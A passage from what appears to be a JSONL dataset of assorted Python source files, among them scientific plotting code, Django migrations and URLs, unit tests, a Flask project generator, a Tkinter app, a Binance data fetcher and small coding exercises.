model A and model B\n iarray=modelA(graph,x=maxnode,beta=beta,gamma=gamma,Nt=Nt,tf=tf)\n iarrayB=modelB(graph,x=maxnode,alpha=alpha,Nt=Nt,tf=tf)\n #plot the solutions\n (fig,ax)=plt.subplots(1,2)\n for i in range(graph.number_of_nodes()):\n ax[0].plot(np.linspace(0,tf,Nt+1),iarray[i,:])\n ax[0].set_xlabel(\"Time step\",fontsize=20)\n ax[0].set_ylabel(\"Infected fraction\",fontsize=20)\n ax[0].set_title(\"Model A\",fontsize=20)\n \n for i in range(graph.number_of_nodes()):\n ax[1].plot(np.linspace(0,tf,Nt+1),iarrayB[i,:])\n ax[1].set_xlabel(\"Time step\",fontsize=20)\n ax[1].set_ylabel(\"Infected fraction\",fontsize=20)\n ax[1].set_title(\"Model B\",fontsize=20)\n #modify as needed\n\ndef transport3(graph,Nt=2000,tf=20):\n \"\"\"Analyze transport processes (model A, model B, linear diffusion)\n on Barabasi-Albert graphs.\n Modify input and output as needed.\n \"\"\"\n #maximum degree node\n maxnode=max(graph.degree, key=lambda x: x[1])[0]\n #solution of model B\n iarray=modelB(graph,x=maxnode,alpha=-0.01, Nt=Nt,tf=tf)\n #plot the solution of the last node\n plt.plot(range(graph.number_of_nodes()),iarray[0:100,Nt])\n plt.xlabel(\"Node number\",fontsize=20)\n plt.ylabel(\"Infected fraction at the last itearation\",fontsize=20)\n \n \ndef transport2(graph,Nt=2000,tf=20):\n #maximum degree node\n maxnode=max(graph.degree, key=lambda x: x[1])[0]\n #solution of model A\n iarray=modelA(graph,x=maxnode,beta=0.5,gamma=0.1,Nt=Nt)\n #plot the solution of the last node\n plt.plot(range(graph.number_of_nodes()),iarray[:,Nt])\n plt.xlabel(\"Node number\",fontsize=20)\n plt.ylabel(\"Infected fraction at the last itearation\",fontsize=20)\n \n\n \n return iarray\nif __name__=='__main__':\n \n \n H=nx.barabasi_albert_graph(2000,4)\n H1=nx.barabasi_albert_graph(100,8)\n rwgraph_analyze1(H)\n rwgraph_analyze2(H)\n linear_diffusion(H)\n transport(H)\n transport(H,tf=20)\n transport(H,alpha=-1)\n transport(H,beta=-0.5)\n transport(H,gamma=-0.1)\n transport3(H)\n transport2(H)\n","sub_path":"Scientific computation/Coursework 2/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":11668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"139707004","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport json\nfrom os.path import join\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\nfrom loadmapping.models import LVFVerb\n\ndef import_verbs(apps, schema_editor):\n LVFVerb = apps.get_model('loadmapping', 'LVFVerb')\n LVFVerb.objects.all().delete()\n with open(join(settings.SITE_ROOT, 'loadmapping/fixtures/lvfverb.json')) as fixture:\n for entry in json.loads(fixture.read()):\n assert entry['model'] == 'loadmapping.lvfverb'\n fields = entry['fields']\n LVFVerb(\n lemma=fields['lemma'],\n sense=fields['sense'],\n lvf_class=fields['lvf_class'],\n construction=fields['construction']).save()\n\ndef delete_verbs(apps, schema_editor):\n LVFVerb = apps.get_model('loadmapping', 'LVFVerb')\n LVFVerb.objects.all().delete()\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('loadmapping', '0001_initial'),\n ]\n\n operations = [\n migrations.RunPython(import_verbs, delete_verbs)\n ]\n","sub_path":"syntacticframes_project/loadmapping/migrations/0002_auto_20140916_1053.py","file_name":"0002_auto_20140916_1053.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"69332342","text":"\"\"\"\ntests for the merged-results command\n\"\"\"\n\nimport pscheduler\nimport unittest\n\nclass MergedResultsTest(pscheduler.ToolMergedResultsUnitTest):\n name = 'owping'\n\n def test_merged_results(self):\n #only to check here is that we get back the one item we put in\n #NOTE: There is code for two results but it is not used\n \n #don't really care about the format since code doesn't check it, just care that\n # program runs and we get out what we put in\n results = [{\"succeeded\": True, \"param\": 1}]\n self.assert_result_at_index(results, 0)\n \nif __name__ == '__main__':\n unittest.main()\n\n\n","sub_path":"pscheduler-tool-owping/tests/merged-results_test.py","file_name":"merged-results_test.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"104573315","text":"# encoding: utf-8\r\n\"\"\"\r\n@author: Jinkai Zheng\r\n@contact: 1315673509@qq.com\r\n\"\"\"\r\n\r\nimport os.path as osp\r\nimport random\r\n\r\nfrom .bases import ImageDataset\r\nfrom ..datasets import DATASET_REGISTRY\r\n\r\n\r\n@DATASET_REGISTRY.register()\r\nclass VehicleID(ImageDataset):\r\n \"\"\"VehicleID.\r\n\r\n Reference:\r\n Liu et al. Deep relative distance learning: Tell the difference between similar vehicles. CVPR 2016.\r\n\r\n URL: ``_\r\n\r\n Dataset statistics:\r\n - identities: 26267.\r\n - images: 221763.\r\n \"\"\"\r\n dataset_dir = 'vehicleid'\r\n dataset_url = None\r\n\r\n def __init__(self, root='/home/liuxinchen3/notespace/data', **kwargs):\r\n self.dataset_dir = osp.join(root, self.dataset_dir)\r\n\r\n self.image_dir = osp.join(self.dataset_dir, 'image')\r\n self.train_list = osp.join(self.dataset_dir, 'train_test_split/train_list.txt')\r\n self.test_list = osp.join(self.dataset_dir, 'train_test_split/test_list_2400.txt')\r\n\r\n required_files = [\r\n self.dataset_dir,\r\n self.image_dir,\r\n self.train_list,\r\n self.test_list,\r\n ]\r\n self.check_before_run(required_files)\r\n\r\n train = self.process_dir(self.train_list, is_train=True)\r\n query, gallery = self.process_dir(self.test_list, is_train=False)\r\n\r\n super(VehicleID, self).__init__(train, query, gallery, **kwargs)\r\n\r\n def process_dir(self, list_file, is_train=True):\r\n img_list_lines = open(list_file, 'r').readlines()\r\n\r\n dataset = []\r\n for idx, line in enumerate(img_list_lines):\r\n line = line.strip()\r\n vid = line.split(' ')[1]\r\n imgid = line.split(' ')[0]\r\n img_path = osp.join(self.image_dir, imgid + '.jpg')\r\n dataset.append((img_path, int(vid), int(imgid)))\r\n\r\n random.shuffle(dataset)\r\n vid_container = set()\r\n if is_train:\r\n return dataset\r\n else:\r\n query = []\r\n for sample in dataset:\r\n if sample[1] not in vid_container:\r\n vid_container.add(sample[1])\r\n query.append(sample)\r\n\r\n return query, dataset\r\n","sub_path":"fastreid/data/datasets/vehicleid.py","file_name":"vehicleid.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"600335505","text":"#given a dictionary with the following key-value pairs:\nmyDictionay = {\"key1\": 3, \"key2\": 5, \"key3\": 9, \"key4\": 11, \"key5\": 12}\n\n#loop through myDictionary by its keys and find out the value which can be divided by 3 and put the qulified value into a list (myList1), then print out the list, put the unqulified value into another list (myList2), then print out the list.\n#Hint 1: you can do a for loop of the dictionary by using its key collection:\n#myDictionary.keys()\n\n#Hint 2: you can get the value in dictionary from its key:\n#value = myDictionary[key]\n\n#Hint 3: use % to check a division's remainder\n#Marks: 5\na = myDictionay[\"key1\"]\nb = myDictionay[\"key2\"]\nc = myDictionay[\"key3\"]\nd = myDictionay[\"key4\"]\ne = myDictionay[\"key5\"]\n\nfinallist = []\nif a%3 == 0:\n finallist.append(a)\nif b%3 == 0:\n finallist.append(b)\nif c%3 == 0:\n finallist.append(c)\nif d%3 == 0:\n finallist.append(d)\nif e%3 == 0:\n finallist.append(e)\n\nprint(finallist)","sub_path":"rq/Exam questions/question5.py","file_name":"question5.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"184908871","text":"import argparse\nimport npyscreen\nimport random\nimport string\nimport os\nimport jinja2\nfrom collections import OrderedDict\n\nCORE_MODULES = OrderedDict([\n ('ALEMBIC', 'alembic'),\n ('SQLALCHEMY', 'sqlalchemy'),\n ('FLASK_SCRIPT', 'flask-script'),\n ('FLASK_LOGIN', 'flask-login (implies users blueprint)'),\n ('SQLALCHEMY_LOGGING', 'sqlalchemy logging'),\n])\n\nTEMPLATE_BOOTSTRAP3 = 0\nTEMPLATE_YANDEX_MAPS = 1\nTEMPLATE_GOOGLE_MAPS = 2\n\n\ndef random_string(length):\n return ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(length)])\n\n\nclass FishApp(npyscreen.NPSAppManaged):\n def onStart(self):\n self.registerForm('MAIN', ConfigForm())\n\n\nclass ConfigForm(npyscreen.ActionForm):\n def create(self):\n self.wg = {}\n self.wg['name'] = self.add(npyscreen.TitleText, name=\"Package name:\", value=options['name'])\n self.wg['dst_dir'] = self.add(\n npyscreen.TitleFilenameCombo, name=\"Directory:\", select_dir=True, must_exist=False,\n confirm_if_exists=True, value=options['dst_dir']\n )\n self.wg['serverport'] = self.add(npyscreen.TitleText, name=\"Server port:\", value=options['serverport'])\n\n core_modules = list(CORE_MODULES.values())\n self.wg['core'] = self.add(\n npyscreen.TitleMultiSelect, max_height=len(core_modules) + 1, value=options['core'], name=\"Core:\",\n values=core_modules, scroll_exit=True\n )\n\n self.wg['blueprints'] = self.add(npyscreen.TitleText, name='Blueprints', value='front, admin')\n\n # self.wg['template'] = self.add(\n # npyscreen.TitleMultiSelect, max_height=4, value=options['template'], name=\"Template:\",\n # values=['bootstrap 3.0', 'Яндекс.Карты', 'Google Maps'], scroll_exit=True\n # )\n\n self.wg['dbname'] = self.add(npyscreen.TitleText, name=\"DB name:\", value=options['dbname'])\n self.wg['dbuser'] = self.add(npyscreen.TitleText, name=\"DB user:\", value=options['dbuser'])\n self.wg['dbpass'] = self.add(npyscreen.TitleText, name=\"DB password:\", value=options['dbpass'])\n self.wg['dbcreate'] = self.add(npyscreen.Checkbox, name=\"Create DB (issues sudo -u postgres psql -c ...)\", value=True)\n\n def afterEditing(self):\n self.parentApp.setNextForm(None)\n\n def on_ok(self):\n for k, wg in self.wg.items():\n options[k] = wg.value\n\n options['dst_dir'] = os.path.abspath(options['dst_dir'])\n options['blueprints'] = [x.strip() for x in options['blueprints'].split(',') if x.strip() != '']\n\n core = []\n for i in options['core']:\n core.append(list(CORE_MODULES.items())[i][0])\n options['core'] = core\n\n def on_cancel(self):\n exit()\n\n\ndef copy_file(src, dst=None, **kwargs):\n if dst is None:\n dst = os.path.join(options['dst_dir'], src)\n\n abssrc = os.path.join(skel_dir, src)\n if os.path.isdir(abssrc):\n for entry in os.listdir(abssrc):\n copy_file(os.path.join(src, entry), os.path.join(dst, entry), **kwargs)\n return\n\n template = jenv.get_template(src)\n\n o = options.copy()\n o.update(kwargs)\n\n with open(dst, 'w') as fh:\n fh.write(template.render(**o))\n\n\ndef create_project():\n print('Creating project %s in dir %s' % (options['name'], options['dst_dir']))\n\n if os.path.exists(options['dst_dir']):\n print('WARNING: Directory exists')\n\n if 'FLASK_LOGIN' in options['core'] and 'users' not in options['blueprints']:\n options['blueprints'].append('users')\n\n # Ядро\n options['secret_key'] = random_string(60)\n\n app_dir = os.path.join(options['dst_dir'], options['name'])\n os.makedirs(options['dst_dir'], exist_ok=True)\n os.makedirs(app_dir, exist_ok=True)\n os.makedirs(os.path.join(app_dir, 'static'), exist_ok=True)\n os.makedirs(os.path.join(app_dir, 'templates'), exist_ok=True)\n os.makedirs(os.path.join(app_dir, 'models'), exist_ok=True)\n\n for file in ('.gitignore', 'uwsgi.py', 'requirements.txt'):\n copy_file(file)\n\n for file in ('config.py', 'config.local.py', '__init__.py', 'app.py', 'core.py', 'jinja.py', 'util.py', 'mail.py',\n 'templates/base.html', 'static/common.js', 'static/common.css'):\n copy_file(os.path.join('app', file), os.path.join(app_dir, file))\n\n # blueprints\n for blueprint in options['blueprints']:\n bp_dir = os.path.join(app_dir, blueprint)\n os.makedirs(bp_dir, exist_ok=True)\n for file in ('__init__.py', 'views.py', 'forms.py'):\n copy_file(os.path.join('app/blueprint', file), os.path.join(bp_dir, file), blueprint=blueprint)\n\n # template\n os.makedirs(os.path.join(app_dir, 'templates', blueprint), exist_ok=True)\n copy_file(\n 'app/templates/blueprint/index.html',\n os.path.join(app_dir, 'templates', blueprint, 'index.html'),\n blueprint=blueprint\n )\n\n # alembic\n if 'ALEMBIC' in options['core']:\n os.makedirs(os.path.join(options['dst_dir'], 'alembic', 'versions'), exist_ok=True)\n for file in ('alembic.ini', 'alembic/env.py', 'alembic/script.py.mako'):\n copy_file(file)\n\n # flask_script\n if 'FLASK_SCRIPT' in options['core']:\n os.makedirs(os.path.join(options['dst_dir'], 'manage'), exist_ok=True)\n copy_file('py.py')\n copy_file('manage/__init__.py')\n copy_file('manage/example.py')\n else:\n copy_file('entry.py')\n\n if 'FLASK_LOGIN' in options['core']:\n os.makedirs(os.path.join(app_dir, 'templates', 'users', 'email'), exist_ok=True)\n for file in ('models/users.py', 'models/__init__.py', 'users/', 'templates/users/'):\n copy_file(os.path.join('app', file), os.path.join(app_dir, file))\n\n if 'SQLALCHEMY_LOGGING' in options['core']:\n copy_file(os.path.join('app', 'log.py'), os.path.join(app_dir, 'log.py'))\n\n if options['dbcreate']:\n os.system(\"\"\" sudo -u postgres psql -c \"CREATE USER {dbuser} ENCRYPTED PASSWORD '{dbpass}'\" \"\"\".format(**options))\n os.system(\"\"\" sudo -u postgres psql -c \"CREATE DATABASE {dbname} OWNER {dbuser}\" \"\"\".format(**options))\n\n for blueprint in options['blueprints']:\n print('Project available at http://localhost:{}/{}'.format(options['serverport'], blueprint))\n\n\nif __name__ == \"__main__\":\n ap = argparse.ArgumentParser('flask-fish', add_help=True)\n ap.add_argument('name', help='Package name', nargs='?')\n ap.add_argument('dst_dir', help='Project directory', nargs='?')\n cmdline = ap.parse_args()\n\n options = {\n 'name': cmdline.name,\n 'dst_dir': cmdline.dst_dir,\n 'serverport': '5000',\n 'core': [0, 1, 2],\n 'template': [0],\n 'dbname': cmdline.name,\n 'dbuser': cmdline.name,\n 'dbpass': random_string(12)\n }\n if options['dst_dir'] is None:\n options['dst_dir'] = options['name']\n\n App = FishApp()\n App.run()\n\n skel_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'skel')\n jenv = jinja2.Environment(loader=jinja2.FileSystemLoader(skel_dir))\n\n create_project()\n","sub_path":"flask-fish.py","file_name":"flask-fish.py","file_ext":"py","file_size_in_byte":7139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"329273043","text":"from sys import stdin\r\n\r\n\r\ndef libros(n):\r\n global a\r\n res = []\r\n dif=0\r\n for i in a:\r\n dif+=i\r\n dif = dif // n\r\n con = 0\r\n q = True\r\n j = 0\r\n linea = 0\r\n while j != len(a):\r\n if con + a[j] > dif and q == True:\r\n res.append(a[j])\r\n res.append(\"/\")\r\n linea += 1\r\n q = False\r\n con = 0\r\n elif con+a[j] == dif and linea != n-1:\r\n res.append(a[j])\r\n res.append(\"/\")\r\n con = a[j]\r\n linea += 1\r\n print(\"A\")\r\n elif con + a[j] > dif and linea != n-1:\r\n res.append(\"/\")\r\n res.append(a[j])\r\n linea += 1\r\n con = 0\r\n else:\r\n con+=a[j]\r\n res.append(a[j])\r\n## print(con,\"=\",dif,a[j])\r\n## print(\"L\",linea)\r\n j += 1\r\n print(res)\r\n\r\n\r\ndef main():\r\n global a\r\n n = int(stdin.readline().strip())\r\n for i in range(n):\r\n w = [int(x) for x in stdin.readline().strip().split()]\r\n a = [int(x) for x in stdin.readline().strip().split()]\r\n libros(w[1])\r\nmain()\r\n","sub_path":"714-CopyingBooks.py","file_name":"714-CopyingBooks.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"87895988","text":"__author__ = 'ejjeong'\n\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport TextWin\nimport PicWin\nimport NLP\n\nclass Window(ttk.Frame):\n\n def __init__(self, master):\n super().__init__(master, padding=5)\n self.createVar()\n self.createUI()\n self.createLayout()\n #self.create_variables()\n #self.create_images()\n\n def createVar(self):\n self.nlp = NLP.NLP()\n self.textWin = TextWin.TextWin(self)\n self.picWin = PicWin.PicWin(self)\n self.textLabel = tk.Label(self, text=\"Text Window\", fg=\"blue\", font =\"Helvetica\")\n self.wcLabel = tk.Label(self, text=\"Image Window\", fg=\"red\", font =\"Helvetica\")\n self.makeWCloudButton = ttk.Button(self, text=\"Get Word Cloud\", command=self.getTextData)\n self.closeButton = ttk.Button(self, text=\"close\", command=self.master.destroy)\n\n def createUI(self):\n self.create_textWin()\n self.create_picWin()\n self.master.resizable(False, False)\n #self.master.minsize(650, 320)\n #self.master.maxsize(650, 320)\n\n def create_textWin(self):\n strData = \"Copy & Paste Articles, Text, or Something like that\"\n self.textWin.text.insert(tk.END, strData)\n\n def create_picWin(self):\n return\n\n def createLayout(self):\n self.grid(row=0, column=0, sticky=(tk.N, tk.S, tk.E, tk.W))\n self.textLabel.grid(row =0, column =0)\n self.textWin.grid(row =1, column =0)\n self.wcLabel.grid(row =0, column =1)\n self.picWin.grid(row =1, column =1)\n self.makeWCloudButton.grid(row =2, column =0)\n self.closeButton.grid(row =2, column =1)\n\n def getTextData(self):\n data = self.nlp.generateWCData(self.textWin.text.get(\"1.0\", tk.END))\n self.textWin.text.delete(\"0.0\", tk.END)\n self.textWin.text.insert(tk.END, data)\n self.wcLabel.config(text=str(\"Generated a Word Cloud Image\"))\n\n def close(self, event=None):\n self.quit()\n","sub_path":"Desktop/PyCharmProj/test/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"73454923","text":"from binance import Client, ThreadedWebsocketManager, ThreadedDepthCacheManager\nimport config\nimport requests\n\nclient = Client(config.API, config.API_SECRET)\n\ndef fetch_last_history(symbol):\n #candlesticks = client.futures_historical_klines(symbol=symbol, interval=Client.KLINE_INTERVAL_5MINUTE, limit=20)\n r = requests.get('https://fapi.binance.com/fapi/v1/klines')\n print(r)\n\n # processed_candlesticks = []\n #\n # for data in candlesticks:\n # candlestick = {\n # \"time\": data[0] / 1000,\n # \"open\": data[1],\n # \"high\": data[2],\n # \"low\": data[3],\n # \"close\": data[4],\n # }\n # processed_candlesticks.append(candlestick)\n # #print(processed_candlesticks)\n # return processed_candlesticks[:-1]\n\ndef get_symbols():\n symbols_list = []\n r = requests.get('https://fapi.binance.com/fapi/v1/exchangeInfo')\n result = r.json()['symbols']\n for item in result:\n if item['symbol'][-1] != 'T':\n continue\n symbols_list.append(item['symbol'])\n #print(symbols_list)\n return symbols_list\n\ndef get_history_array():\n history_array = []\n symbols = get_symbols()\n print(symbols)\n for item in symbols:\n #pass\n candlesticks = fetch_last_history(item)\n #print(candlesticks)\n history_array.append({\n item : candlesticks,\n })\n print(history_array)\n return history_array\n\n\n\n\n","sub_path":"chart.py","file_name":"chart.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"158137024","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 1 16:04:22 2016\n\n@author: maksim.krylov\n\"\"\"\n\ndef executeUpdate(cursor, app_pkid, localsystemid, version):\n cursor.execute(\"UPDATE SUBSCRIBER SET SUBSCRIBERSTATUS_APP_PKID=36, SUBSCRIBERSTATUS_LOCALSYSTEMID=1 WHERE APP_PKID={0} AND LOCALSYSTEMID='{1}' AND VERSION={2}\".format(int(app_pkid), localsystemid, int(version)))\n\nimport xlrd\nimport cx_Oracle\n\nconn_str = u'mdm6/mdm6prod@10.28.88.24:1521/eip7'\nconnection = cx_Oracle.connect(conn_str)\ncursor = connection.cursor()\n\nworkbook = xlrd.open_workbook('subscriber.xlsx')\nsheet = workbook.sheet_by_index(0)\nfor rownum in range(1, sheet.nrows):\n executeUpdate(cursor, sheet.cell(rownum, 5).value, sheet.cell(rownum, 7).value, sheet.cell(rownum, 4).value)\n\nconnection.commit()\n","sub_path":"subscriber_vpbx_mdm4-mdm6-bug/updateLineStatus.py","file_name":"updateLineStatus.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"454628958","text":"import xlsxwriter\r\n\r\nclass ExcelFileCreator_XlsxWriter(object):\r\n\r\n\telectrolyte_rowoffset_ = 0\r\n\telectrolyte_columnoffset_ = 0\r\n\r\n\tpH_rowoffset_ = 1\r\n\tpH_columnoffset_= 1\r\n\r\n\r\n\tconcentration_rowoffset_ = 2\r\n\tconcentration_columnoffset_ = 2\r\n\r\n\r\n\r\n\r\n\r\n\tdef __init__(self):\r\n\r\n\t\tself.workbooklist_ = []\r\n\t\tself.devicelist_ = []\r\n\r\n\tdef workbooklist(self):\r\n\t\treturn self.workbooklist_\r\n\r\n\r\n\tdef CreateExcelFiles(self, devicelist):\r\n\t\tprint('Creating excel file(s)\\n')\r\n\t\tself.devicelist_ = devicelist\r\n\t\tself.CreateWorkbooks()\r\n\r\n\t\tself.CreateSheets()\r\n\r\n\t\tself.WriteContent()\r\n\r\n\t\tself.CloseWorkbooks()\r\n\r\n\t\treturn\r\n\r\n\tdef CreateWorkbooks(self):\r\n\t\tfor i in range(len(self.devicelist_)):\r\n\t\t\tprint('Creating new workbook\\n')\r\n\t\t\tself.workbooklist_.append(xlsxwriter.Workbook(self.devicelist_[i].title() + '.xlsx'))\r\n\r\n\t\treturn\r\n\t\t\r\n\tdef CreateSheets(self):\r\n\t\tfor i in range(len(self.workbooklist_)):\r\n\t\t\tfor j in range(len(self.devicelist_[i].modificationlist())):\r\n\t\t\t\tself.workbooklist_[i].add_worksheet(self.devicelist_[i].modificationlist()[j].title())\r\n\r\n\t\treturn\r\n\r\n\r\n\tdef WriteContent(self):\r\n\t\tfor i in range(len(self.devicelist_)):\r\n\t\t\tfor j in range(len(self.devicelist_[i].modificationlist())):\r\n\t\t\t\tself.WriteContentToSheet(self.workbooklist_[i].worksheets()[j], self.devicelist_[i].modificationlist()[j])\r\n\r\n\t\treturn\r\n\r\n\tdef WriteContentToSheet(self, sheet, modification):\r\n\t\tcurrentrow = 0\r\n\t\tcurrentcolumn = 0\r\n\t\tconcentration_rowspan = 0\r\n\t\tivblock_rowspan = 0\r\n\t\tivblock_columnspan = 0\r\n\r\n\r\n\t\tfor i in range(len(modification.electrolytelist())):\r\n\t\t\tself.WriteElectrolyte(sheet, currentrow + self.electrolyte_rowoffset_, self.electrolyte_columnoffset_, modification.electrolytelist()[i])\r\n\t\t\tfor j in range(len(modification.electrolytelist()[i].pHlist())):\r\n\t\t\t\tself.WritepH(sheet, currentrow + self.pH_rowoffset_, self.pH_columnoffset_, modification.electrolytelist()[i].pHlist()[j])\r\n\t\t\t\tfor k in range(len(modification.electrolytelist()[i].pHlist()[j].concentrationlist())):\r\n\t\t\t\t\tself.WriteConcentration(sheet, currentrow + self.concentration_rowoffset_, self.concentration_columnoffset_, modification.electrolytelist()[i].pHlist()[j].concentrationlist()[k])\r\n\r\n\t\t\t\t\tfor l in range(len(modification.electrolytelist()[i].pHlist()[j].concentrationlist()[k].ivblocklist())):\r\n\t\t\t\t\t\tcurrentcolumn = 0\r\n\t\t\t\t\t\tcurrentcolumn = currentcolumn + self.concentration_columnoffset_ + 1\r\n\t\t\t\t\t\tmaxrows = 0\r\n\r\n\t\t\t\t\t\tfor m in range(l):\r\n\t\t\t\t\t\t\tcurrentcolumn = currentcolumn + modification.electrolytelist()[i].pHlist()[j].concentrationlist()[k].ivblocklist()[m - 1].nocols() + 1\r\n\r\n\t\t\t\t\t\tfor m in range(l+1):\r\n\t\t\t\t\t\t\tif modification.electrolytelist()[i].pHlist()[j].concentrationlist()[k].ivblocklist()[m].norows() > maxrows:\r\n\t\t\t\t\t\t\t\tmaxrows = modification.electrolytelist()[i].pHlist()[j].concentrationlist()[k].ivblocklist()[m].norows()\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\tself.WriteIVBlock(sheet, currentrow + self.concentration_rowoffset_ + 1, currentcolumn, modification.electrolytelist()[i].pHlist()[j].concentrationlist()[k].ivblocklist()[l])\r\n\t\t\t\t\tprint('current row (before) = ' + str(currentrow))\r\n\t\t\t\t\tprint('max rows = ' + str(maxrows))\r\n\r\n\t\t\t\t\tcurrentrow = currentrow + self.concentration_rowoffset_ + maxrows\r\n\t\t\t\t\tprint('current row (after) = ' + str(currentrow))\r\n\r\n\t\t\tcurrentrow = currentrow + 3\r\n\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t#currentcolumn = currentcolumn + self.electrolyte_columnoffset_ + self.pH_columnoffset_ + self.concentration_offset_ + \r\n\t\t\t\t\t\t#self.WriteIVBlock(sheet, currentrow + self.ivblock_rowoffset_, currentcolumn + self.ivblock_columnoffset_, ivblock)\r\n\r\n\t\r\n\t\treturn\r\n\r\n\r\n\r\n\r\n\r\n\tdef WriteElectrolyte(self, sheet, row, column, electrolyte):\r\n\t\tsheet.write_string(row, column, electrolyte.title())\r\n\t\treturn\r\n\r\n\tdef WritepH(self, sheet, row, column, pH):\r\n\t\tsheet.write_string(row, column, pH.title())\r\n\t\treturn\r\n\r\n\tdef WriteConcentration(self, sheet, row, column, concentration):\r\n\t\tsheet.write_string(row, column, concentration.title())\r\n\r\n\tdef WriteIVBlock(self, sheet, row, column, ivblock):\r\n\t\tself.WriteIVBlockDateTime(sheet, row, column, ivblock)\r\n\t\tself.WriteIVBlockContents(sheet, row, column, ivblock)\r\n\t\treturn\r\n\r\n\tdef WriteIVBlockDateTime(self, sheet, row, column, ivblock):\r\n\t\tsheet.write_string(row, column, ivblock.date())\r\n\t\tsheet.write_string(row, column + 1, ivblock.time())\r\n\t\treturn\r\n\r\n\tdef WriteIVBlockContents(self, sheet, row, column, ivblock):\r\n\t\tivblocklines = ivblock.data().split('\\n')\r\n\t\t\r\n\t\tfor i in range(len(ivblocklines )- 1):\r\n\t\t\tlinecolumns = ivblocklines[i].split('\\t')\r\n\t\t\tfor j in range(len(linecolumns)):\r\n\t\r\n\t\t\t\ttry:\r\n\t\t\t\t\tsheet.write(row + i + 1, column + j, float(linecolumns[j]))\r\n\t\t\t\texcept:\r\n\t\t\t\t\tsheet.write(row + i + 1, column + j, str(linecolumns[j]))\r\n\t\t\t\r\n\r\n\t\t\r\n\t\treturn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tdef CloseWorkbooks(self):\r\n\t\tfor i in range(len(self.workbooklist_)):\r\n\t\t\tself.workbooklist_[i].close()\r\n\r\n\t\treturn\r\n\r\n\t\r\n\r\n\r\n\r\n","sub_path":"CreateExcel_XlsxWriter-original.py","file_name":"CreateExcel_XlsxWriter-original.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"182983017","text":"from django.conf.urls.defaults import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^post-photo/$', 'scandal_tour.st.views.post_photo', name='post_photo'), \n url(r'^register-user/$', 'scandal_tour.st.views.register_user', name='register_user'),\n url(r'^validate-user/$', 'scandal_tour.st.views.validate_user', name='validate_user'),\n \n # url(r'^scandal_tour/', include('scandal_tour.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n)\n","sub_path":"django/django/scandal_tour/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"318192634","text":"##############################################################################\n#\n# Copyright (c) 2007 Zope Foundation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Tests for zc.dict\"\"\"\nimport doctest\n\n\noptionflags = (doctest.REPORT_NDIFF |\n doctest.ELLIPSIS)\n\n\ndef test_suite():\n return doctest.DocFileSuite('dict.txt', 'ordered.txt',\n optionflags=optionflags)\n\n\ndef test_suite_generations():\n suite = test_suite()\n suite.addTest(doctest.DocFileSuite('generations/evolve1.txt',\n optionflags=optionflags))\n return suite\n","sub_path":"zc.dict/trunk/src/zc/dict/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"147257745","text":"# %%\nwith open(\"/mnt/c/Users/Ryan/Documents/aoc2020/day6/input.txt\") as f:\n batches = f.read().split(\"\\n\\n\")\n\n\n# %%\ndef anyoneYes(batches):\n answers = []\n for batch in batches:\n people = batch.split(\"\\n\")\n output_list = list(people[0])\n people.pop(0)\n for person in people:\n output_list.extend(x for x in person if x not in output_list)\n\n answers.append(len(output_list))\n\n return sum(answers)\n\n\n# %%\ndef everyoneYes(batches):\n answers = []\n for batch in batches:\n sets = []\n people = batch.split(\"\\n\")\n for person in people:\n 